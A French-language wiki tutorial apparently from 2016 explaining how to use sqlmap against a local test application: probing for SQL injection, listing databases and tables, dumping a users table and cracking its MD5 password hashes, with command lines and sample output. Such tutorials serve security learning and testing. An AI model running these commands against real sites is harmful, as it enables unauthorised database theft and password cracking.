Outils pour utilisateurs

Outils du site


web:sqlmap_-_howto

Sqlmap - HowTo

Dans cette article je présenterai l'utilisation que je fais de sqlmap.

1.Présentation

Sqlmap est un programme python permettant de tester et d'exploiter des injections sql sur une application web.

2.Installation

Si vous êtes sous Kali Linux, sqlmpa est déjà installé, sinon, vous pouvez le cloner via le GitHub de sqlmap.

3.Utilisation

3.1 Test

Je vous conseil avant tout de tester manuellement que l'application web est vulnérable aux injections SQL en injectant une simple quote par exemple (?id=') si cela renvois une erreur, l'application est très probablement vulnérable.

3.2 Le DBMS et les bases de données

Dans un premier temps, il faut déterminer le gestionnaire de base de données (DBMS) et lister les bases de données présentes sur le serveur. Pour cela :

$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbs

Petite explication des paramètres :

  • -u ⇒ url complète de la page web.
  • -p ⇒ option intéressante lorsque l'url comporte plusieurs paramètres de type get, elle permet de spécifier le paramètre injectable.
  • –dbs ⇒ demande à sqlmap de lister les bases de données

NB: Si les paramètres sont des données POST, pas de panique, sqlmap le permet avec l'option –data (–data “username=user&password=pass” -p “password”), l'option –form va informer sqlmap qu'il faut POST, il va ensuite demander à l'utilisateur si c'est tel ou tel formulaire à tester.

Résultats notables :

web server operating system: Linux Debian 8.0 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5
[23:53:23] [INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sqlmap

3.3 Les tables Pour lister les tables, il suffit de préciser la base de donnée à utiliser et de demander à sqlmap de nous lister les tables de celle ci.

$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --tables

Les paramètres :

  • –dbms ⇒ permet d'indiquer le DBMS utilisé
  • -D ⇒ spécifie la base de donnée à traiter
  • –tables ⇒ demande la liste des tables

Résultat :

[00:00:11] [INFO] fetching tables for database: 'sqlmap'
Database: sqlmap
[2 tables]
+-------+
| blog  |
| users |
+-------+

3.4 Dump des tables Passons aux choses sérieuses, deux solutions, soit dump toutes les tables, soit en préciser une.

$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" -T users --dump // dump de la table users
ou 
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --dump // dump de toutes les tables

Nous allons nous concentrer sur la table user car elle a plus de chance de contenir des informations exploitables.Quand une table contient des passwords, sqlmap vous propose de les dechiffer.

Résultat :

[00:06:21] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[00:06:23] [INFO] writing hashes to a temporary file '/tmp/sqlmapmQGAQX19748/sqlmaphashes-7QfKGg.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
Database: sqlmap
Table: users
[4 entries]
+----+--------+-------------------------------------------+
| id | login  | password                                  |
+----+--------+-------------------------------------------+
| 1  | ghozt  | 9cb4afde731e9eadcda4506ef7c65fa2 (noob)   |
| 2  | Yorin  | c8d46d341bea4fd5bff866a65ff8aea9 (game)   |
| 3  | Dazax  | 3e1867f5aee83045775fbe355e6a3ce1 (beer)   |
| 4  | birdy4 | 27b8a7812992a386c1f239eed7e5d94b (ricola) |
+----+--------+-------------------------------------------+

“And voilà” les mots de passe ont été bruteforcés par sqlmap, vous pouvez utiliser votre propre dictionnaire pour ce bruteforce ou laisser sqlmap faire le travail. Tous les résultats sont stockés dans des fichiers sur votre machine.

To be continued …

web/sqlmap_-_howto.txt · Dernière modification: 2016/08/10 14:14 par yorin